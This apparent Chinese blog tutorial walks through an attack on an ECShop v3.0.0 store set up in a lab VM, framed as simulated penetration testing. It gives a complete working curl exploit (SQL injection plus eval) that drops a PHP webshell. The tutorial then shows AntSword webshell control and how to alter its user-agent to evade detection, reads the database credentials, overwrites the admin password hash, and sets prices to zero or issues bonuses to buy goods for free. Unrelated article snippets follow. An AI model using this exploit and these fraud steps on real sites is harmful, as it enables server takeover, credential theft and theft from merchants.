当前位置: 首页 > article >正文

第005文-模拟入侵网站实现0元购

1、部署导入靶场,部署购物网站

首先在虚拟机中新增一个centos虚拟机,在上面部署一套完整的购物网站,使用mysql数据库,访问端口是80。这个新增的centos虚拟机就是我们的靶场。购物网站在网上随便找一套开源的部署即可。

2、在网站里注册新账号

在上面这个位置点击注册,按照正常网站的账号注册流程,注册一个个人的账号,

普通开源的商城注册很简单,成功后进入用户中心看看,

在这里需要加上自己的收货地址,

我们要实现的功能就是给这个新注册的用户增加红包,然后购物用红包付款,实现0元购。

注意,这样做的目的不是为了渗透,而是模拟渗透,查找软件漏洞!!

3、收集信息,寻找漏洞

前面已经准备好了靶场(centos虚拟机),商城,和新注册的账号,现在可以开始了,假设我现在要渗透寻找这个网站的漏洞,我肯定知道这个网站的网址,我也有一个新注册的账号,但是我肯定不知道这个网站的服务器ip和账号,这些是前提条件。

介绍一个kali上面的命令,arp-scan  ,

arp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。

执行 ,

arp-scan -l 

可以扫描本地局域网中的所有设备,

因为我们的vmware本身打开了两个虚拟机,一个是kali,另一个就是我们的靶场,也就是centos,这个命令需要在kali里面执行,那么centos显示的信息肯定包含vmware,

可以看到这个记录正是靶场的ip,感兴趣的还可以给这个ip设置一个hosts域名,这里不再演示。这里我们直接用ip访问商城即可。

下一步用到前面用过的一个命令,whatweb,

WhatWeb是一款强大的Kali系统自带的web指纹探测工具。它能识别网站技术,包括内容管理系统、博客平台、统计分析包、JavaScript库、网络服务器和嵌入式设备。WhatWeb拥有超过900个插件,能识别各种细节信息,如版本号、电子邮件地址、帐户ID、web框架模块、SQL错误等。

从返回的信息中,看到了使用的apache版本,使用的开源项目是ECShop,同时也返回了它的版本,后面还有开发语言php的版本等等,这些都是很危险的信息。fofa上搜索这个开源项目,加上版本号,也能发现还是有很多其他商城在用这一套东西。

4、寻找漏洞,开始渗透测试

前面通过信息收集,知道了网站使用的是开源项目ECShop,版本是v3.0.0,知道了这种关键信息之后,通过百度就能看到很多出现过的漏洞,

这里我们使用一行命令作为一个木马。首先,网站个人中心的地址是,

http://192.168.3.81/user.php

我们使用的一行命令是,

curl http://192.168.3.81/user.php \
-d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" \
-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'
执行结果返回如下,
一个{和一个$ 说明执行是成功的。
curl是web请求命令,它可以对页面地址和接口地址发起请求,返回页面代码或者接口结果。
其中-H 参数是设置请求头,-d参数是将数据以POST请求的方式发送到服务器,这是向服务器提交数据的一种常见方式,常用于表单提交、上传文件等场景。
上面的命令中,关键信息是  
base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));
这是一个base64加密的字符串,我们来解码一下看看,
从结果看,它会上传一个文件,vulnspy.php,后面意思是它会接收一个请求参数 vulnspy,如果没有参数,vulnspy可以作为一个密码用。
这个时候,我们就把这个一句话的木马传到网站上了,接下来使用蚁剑连接,

蚁剑(AntSword)是一款功能强大的跨平台渗透测试工具,被广泛用于攻击和渗透测试活动。以下是蚁剑的一些流量特征:

流量特征主要表现在数据包的加密方式和数据类型。蚁剑使用了AES加密算法对数据进行加密,同时还使用了自定义的二进制协议,在通信中传输各种类型的数据
默认的USER-agent请求头 是 antsword xxx,但是 可以通过修改:/modules/request.js 文件中 请求UA绕过。
其中流量最中明显的特征为@ini_set("display_errors","0")、@set time limit (0) 这段代码基本是所有webshe11客户端链接PHP类Webshe11都有的一种代码 。
蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“0x加密后”“这种形式(下划可换》,所以以-0x开头的参数也很可能就是恶意流量。

和蚁剑类似的还有菜刀,冰蝎,哥斯拉等工具。准备好三个文件上传到kali上面,
前两个是蚁剑,后面是webshell2版本,接下来使用unzip把这三个都解压出来。
进入AndSword-Loader的目录,
第一个是一个AntSword执行文件,执行一下,
会弹出来蚁剑的页面,点击初始化,弹出目录窗口,
接下来要找到 antSword-master 目录,打开这个目录后,点击ok,
然后可以看到初始化,完成的过程,最后窗口自动关闭。
这时候需要手动再次重启一下,
现在蚁剑算是起来了,接下来在空白窗口地方右击,选择添加数据,
其中url写购物网站的网址,192.168.3.81,注意地址后面写上上面的curl请求中上传的文件,因此完整地址是,
http://192.168.3.81/vulnspy.php
密码写上面的curl请求中,base64翻译过来后,发送的请求中的密码 vulnspy ,写好后,点击上面的测试连接按钮,
提示连接成功,然后点击添加就可以了。
有了这个连接,就能做很多事情,在连接上右击,
可以打开终端,可以打开文件管理,等等。
现在左键双击这个连接,
直接来到了服务器里面,左侧当前目录就是网站的根目录,里面有php写的各个页面。
上面执行的curl命令可以说是在命令里面夹杂着一个小的木马,能够让我们通过蚁剑连上目标网站的服务器,接下来使用真正准备好的木马,也就是刚才上传的准备好的文件中的webshell2.php文件,
比如上传到网站根目录下的temp目录,
选择目录后,直接在右侧空白处右键选择上传文件,
这个文件就是个php页面,上传成功后应该就可以访问了,

5、查找配置信息,连接数据库

这里让输入密码,这个密码是在上传文件里设置好的,叫  xuegod  ,输入登录后,
这个窗口是真正渗透后要的窗口,这里能干的事非常多,看上面这一行,
能文件管理,能连接管理数据库,能上传下载数据库,包括php的变量,代码,备份连接都有。
下面点击MySQL Manager 连数据库,
这里缺少数据库的链接信息,这些配置可以去网站根目录下找配置文件在哪,
最终在data目录下有个配置文件,
打开config.php,可以看到网站项目的配置信息,
这里可以看到,有完整的db连接信息。把信息替换到上面的MySQL Manager里面,就能连接上数据库,
注意:这里使用的是虚拟机靶场,可以随意操作,修改数据删除数据都可以,真实环境为了做渗透测试的时候,一定要注意,不要做危险的事情,我们主要的目标是做渗透测试,寻找漏洞!
从页面上的信息看,一共有92张表,
有名字里带user的用户表,带goods的商品表,等等。这些可以慢慢熟悉。

6、给自己账户发红包,实现0元购

首先,找到网站管理员账户,修改管理员密码,然后以管理员身份登录。
第一步,查看管理员用户账户表,
注意这两个字段,
密码是md5的哈希值,不是明文,并且还加了盐(ec_salt),这里的原始密码哈希值,
adac02b082397ce086d2c5d97932c6a3 
首先要记下来,方便后面恢复,接下来自己定义一个简单的密码,比如 123456 ,把这个简单密码的哈希值替换掉这个password的值,通过这样的方法就能做到修改密码,具体执行如下两个命令,
修改后的密码就是,
662ce5e53b8621060f2ced9cc33f0093
接下来执行update语句
update xo_admin_user set password='662ce5e53b8621060f2ced9cc33f0093' where user_id=1
前面刚开始注册新用户的时候注册的是前端商城的用户,现在要用这个admin给注册的用户发红包,就要登录后端管理后台,我们来用dirb来扫描一下网站有哪些路径,
dirb http://192.168.3.81
可以根据意思一个个试,最后发现,第一个,
http://192.168.3.81/admin
就是管理后台的的登录地址,
接下来我们输入账号  admin/123456  来登录后台,登录成功,
下一步,在促销管理中的红包类型中,先加一个红包类型,
接下来点击发放,
搜索选择自己注册的用户,发放红包,
然后用注册的用户登录,就可以看到这个红包,
接下来就可以去购物了,随便选择一个商品,然后付款,
可以看到选择红包后,实现了0元购。

7、修改商品价格,实现0元购

先来看一下当前产品的价格,
我们来修改这个,
然后更新一个商品的价格为0(原来价格是12000.00),
update xo_goods set shop_price=0,market_price=0,promote_price=0 where goods_id=137
一会恢复价格的sql是,
update xo_goods set shop_price=12000.00,market_price=14400.00,promote_price=0.00 where goods_id=137
购买也成功,
这就是通过发红包和修改价格两种方式实现0元购。
这里修改价格比较粗暴,市场价,店内价格,促销价都改了,如果不想显得那么突兀,可以只改结算时用到的价格即可。

8、恢复数据

恢复价格数据,
update xo_goods set shop_price=12000.00,market_price=14400.00,promote_price=0.00 where goods_id=137
恢复管理员的密码,
update xo_admin_user set password='adac02b082397ce086d2c5d97932c6a3' where user_id=1

9、挖掘漏洞如何赚钱

  • CTF完全专题挑战赛-有奖金
  • 挖漏洞赚取报酬

相关文章:

第005文-模拟入侵网站实现0元购

1、部署导入靶场,部署购物网站 首先在虚拟机中新增一个centos虚拟机,在上面部署一套完整的购物网站,使用mysql数据库,访问端口是80。这个新增的centos虚拟机就是我们的靶场。购物网站在网上随便找一套开源的部署即可。 2、在网站…...

unity3d 背景是桌面3d数字人,前面是web的表单

是可以实现的,但涉及多个技术栈的结合,包括 Unity3D、Web 技术(HTML、JavaScript)、以及可能的 WebGL 或 WebRTC 技术。大致有以下几种实现方案: 方案 1:Unity 作为独立应用(桌面端&#xff0…...

23种设计模式简介

一、创建型(5种) 1.工厂方法 总店定义制作流程,分店各自实现特色披萨(北京店-烤鸭披萨,上海店-蟹粉披萨) 2.抽象工厂 套餐工厂(家庭装含大披萨薯条,情侣装含双拼披萨红酒&#…...

淘宝关键字搜索接口爬虫测试实战指南

在电商数据分析和市场研究中,通过关键字搜索获取淘宝商品信息是一项重要任务。淘宝开放平台提供了 item_search 接口,允许开发者通过关键字搜索商品,并获取商品列表及相关信息。本文将详细介绍如何设计并测试一个基于该接口的爬虫程序&#x…...

IntelliJ IDEA 中配置 Groovy

在 IntelliJ IDEA 中配置 Groovy 环境可以分为以下几个步骤 1. 安装 Groovy 插件 步骤: 打开 IntelliJ IDEA,进入菜单栏:File → Settings(Windows/Linux)或 IntelliJ IDEA → Preferences(Mac&#xff0…...

【Linux 22.4 ubuntu 安装cuda12.1 完整方案】

下载cuda12.1 官网网址 wget https://developer.download.nvidia.com/compute/cuda/12.1.1/local_installers/cuda_12.1.1_530.30.02_linux.run sudo sh cuda_12.1.1_530.30.02_linux.run!import! 如果已经安装驱动,则不要选择dirver那项 添加环境变量 vim ~/.b…...

使用AI整理知识点--WPF动画核心知识

一、WPF动画基础 1、动画本质 通过随时间改变依赖属性值实现视觉效果(如位置、透明度、颜色等)。 依赖属性必须支持 DependencyProperty,且需是可动画的(如 Double, Color, Point 等)。 2、动画三要素 起始值 (Fr…...

HTML前端手册

HTML前端手册 记录前端框架在使用过程中遇到的各种问题和解决方案,供后续快速进行手册翻阅使用 文章目录 HTML前端手册1-前端框架1-TypeScript框架2-CSS框架 2-前端Demo1-Html常用代码 2-知云接力3-Live2D平面动画 3-前端运维1-NPM版本管理 1-前端框架 1-TypeScrip…...

风控模型算法面试题集结

特征处理 1. 特征工程的一般步骤什么?什么是特征迭代 特征工程一般包含: 数据获取,分析数据的可用性(覆盖率,准确率,获取容易程度)数据探索,分析数据业务含义,对特征有一个大致了解,同时进行数据质量校验,包含缺失值、异常值和一致性等;特征处理,包含数据处理和…...

利用 requestrepo 工具验证 XML外部实体注入漏洞

1. 前言 在数字化浪潮席卷的当下,网络安全的重要性愈发凸显。应用程序在便捷生活与工作的同时,也可能暗藏安全风险。XXE(XML外部实体)漏洞作为其中的典型代表,攻击者一旦利用它,便能窃取敏感信息、掌控服务…...

引领变革!北京爱悦诗科技有限公司荣获“GAS消费电子科创奖-产品创新奖”!

在2025年“GAS消费电子科创奖”评选中,北京爱悦诗科技有限公司提交的“aigo爱国者GS06”,在技术创新性、设计创新性、工艺创新性、智能化创新性及原创性五大维度均获得评委的高度认可,荣获“产品创新奖”。 这一奖项不仅是对爱悦诗在消费电子…...

MySQL JOIN 与子查询深度对比:原理、性能陷阱与优化策略

1. 基础概念:JOIN 与子查询的本质区别 1.1 JOIN 的核心作用 目标:直接关联两个表的行,通过匹配条件(如 ON 或 USING)合并数据。典型场景:需要同时获取两个表的字段(如 SELECT A.col, B.col FROM A JOIN B)。执行逻辑: 数据库一次性处理两表关系,优化器可能选择 Nest…...

稀疏注意力:打破Transformer计算瓶颈,实现高效长序列建模

引言:Transformer的辉煌与困境 近年来,Transformer凭借其强大的自注意力机制(Self-Attention),在自然语言处理、图像识别等领域大放异彩。然而,传统自注意力机制要求模型计算输入序列中所有位置对之间的关联…...

PTA 7-8 哈利·波特的考试

题目描述 哈利波特要考试了,他需要你的帮助。这门课学的是用魔咒将一种动物变成另一种动物的本事。例如将猫变成老鼠的魔咒是 haha,将老鼠变成鱼的魔咒是 hehe 等等。反方向变化的魔咒就是简单地将原来的魔咒倒过来念,例如 ahah 可以将老鼠变…...

纯html文件实现目录和文档关联

目录结构 效果图 代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><title>项目结题报告</title><style lang"scss">::-webkit-scrollbar {width: 6px;height: 6px;}::-webkit-scro…...

共绘智慧升级,看永洪科技助力由由集团起航智慧征途

在数字化洪流汹涌澎湃的当下&#xff0c;企业如何乘风破浪&#xff0c;把握转型升级的黄金机遇&#xff0c;已成为所有企业必须直面的时代命题。由由集团&#xff0c;作为房地产的领航者&#xff0c;始终以前瞻视野引领变革&#xff0c;坚决拥抱数字化浪潮&#xff0c;携手数字…...

如何搭建个人静态住宅IP:从零开始

你好&#xff01;今天我们将一起探索如何从头开始搭建个人静态住宅IP。无论您是为了远程办公、在线教育还是游戏加速&#xff0c;静态住宅IP都能带给您更稳定的网络体验。 一、准备阶段 1. 明确需求 首先&#xff0c;您需要清楚自己为什么需要静态住宅IP。可能是为了实现远程…...

《打造视频同步字幕播放网页:从0到1的技术指南》

《打造视频同步字幕播放网页&#xff1a;从0到1的技术指南》 为什么要制作视频同步字幕播放网页 在数字化信息飞速传播的当下&#xff0c;视频已然成为内容输出与获取的核心载体&#xff0c;其在教育、娱乐、宣传推广等诸多领域发挥着举足轻重的作用 。制作一个视频同步字幕播…...

自学嵌入式第27天------TCP和UDP,URL爬虫

1. TCP和UDP区别 **TCP&#xff08;传输控制协议&#xff09;和UDP&#xff08;用户数据报协议&#xff09;**是两种主要的传输层协议&#xff0c;它们在数据传输方式上有显著区别&#xff1a; 连接性&#xff1a; TCP是面向连接的协议&#xff0c;通信前需通过三次握手建立连…...

C++ 学生成绩管理系统

一、项目背景与核心需求 成绩管理系统是高校教学管理的重要工具,本系统采用C++面向对象编程实现,主要功能模块包括: 学生信息管理(学号/姓名/3门课程成绩) 成绩增删改查(CRUD)操作 数据持久化存储 统计分析与报表生成 用户友好交互界面 二、系统架构设计 1. 类结构设计 …...

Spring Cloud Alibaba 实战:轻松实现 Nacos 服务发现与动态配置管理

1. Nacos 介绍 1.1 什么是 Nacos&#xff1f; Nacos&#xff08;Naming and Configuration Service&#xff09;是阿里巴巴开源的一个服务注册中心和配置管理中心。它支持动态服务发现、配置管理和服务治理&#xff0c;适用于微服务架构&#xff0c;尤其是基于 Spring Cloud …...

关于sqlalchemy的使用

关于sqlalchemy的使用 说明一、sqlachemy总体使用思路二、安装与创建库、连结库三、创建表、增加数据四、查询记录五、更新或删除六、关联表定义 说明 本教程所需软件及库python3.10、sqlalchemy安装与创建库、连结库创建表、增加数据查询记录 一、sqlachemy总体使用思路 在…...

三维建模与视频融合(3D-Video Integration)技术初探。

三维建模与视频融合&#xff08;3D-Video Integration&#xff09;是一种将虚拟三维模型无缝嵌入实拍视频场景的技术&#xff0c;广泛应用于影视特效、增强现实&#xff08;AR&#xff09;、游戏开发、广告制作 、视频监控 等领域。 一、技术核心流程 三维建模与动画 使用工具…...

springboot3 RestClient、HTTP 客户端区别

1 RestClient使用 RestClient 是 Spring 6.1 M2 中引入的同步 HTTP 客户端&#xff0c;它取代了 RestTemplate。同步 HTTP 客户端以阻塞方式发送和接收 HTTP 请求和响应&#xff0c;这意味着它会等待每个请求完成后才继续下一个请求。本文将带你了解 RestClient 的功能以及它与…...

分布式存储学习——HBase概述

1.1 HBase概述 1.1.1 理解大数据背景 1.1.2 HBase是什么 1.1.3 HBase与Hadoop的关系 1.1.4 HBase的核心功能模块 1.1.5 HBase的应用场景和经典案例 1.1.6 小结 本文参考于学校《HBase应用于开发》教材 1.1 HBase概述 本节将介绍大数据背景和HBase的基本概念&#xff0c…...

LLM run

lmstudio lmstudio ollama ollama N 卡使用自带UI gpu加速推理 ,选择满足条件的&#xff0c; ds模型选择列表 https://ollama.com/library/deepseek-r1 a卡当前支持的显卡型号 I卡 gpu加速配置 2025.3 intel Official project optimization https://www.modelscope.cn/m…...

HttpServletRequest、ServerHttpRequest 和 ServerWebRequest作用详解

1、HttpServletRequest 所属框架&#xff1a;Java Servlet API&#xff08;基于阻塞式 I/O&#xff09;。 使用场景&#xff1a;传统的 Servlet 应用&#xff08;如 Spring MVC的Tomcat、常用的容器等等&#xff09;。 作用&#xff1a;表示客户端的 HTTP 请求。 常用方法&a…...

【大模型基础_毛玉仁】2.2 大语言模型架构概览

【大模型基础_毛玉仁】2.2 大语言模型架构概览 2.2 大语言模型架构概览2.2.1 主流模型架构的类别1&#xff09;Encoder-only 架构2&#xff09;Encoder-Decoder 架构3&#xff09;Decoder-only 架构 2.2.2 模型架构的功能对比1&#xff09;注意力矩阵2&#xff09;适用任务 2.2…...

微信小程序点击按钮,将图片下载到本地

前言&#xff1a; 最近在公司完成一个小程序的时候需要实现一个功能&#xff1a;点击按钮获取用户相册权限&#xff0c;将图片下载到用户本地相册&#xff0c;经过了好几次的尝试最终算是实现了。将总结的经验在这里分享给小伙伴们。 实现方式&#xff1a; //.wxml文件 <…...

在Linux系统上集成OpenSlide与SpringBoot

本文档详细介绍如何在Linux系统上安装OpenSlide并将其与Spring Boot应用程序集成,以实现数字病理切片的处理和查看功能。 目录 OpenSlide简介在Linux上安装OpenSlide安装OpenSlide Java绑定在Spring Boot项目中集成OpenSlide示例代码性能优化建议常见问题解决参考资源OpenSli…...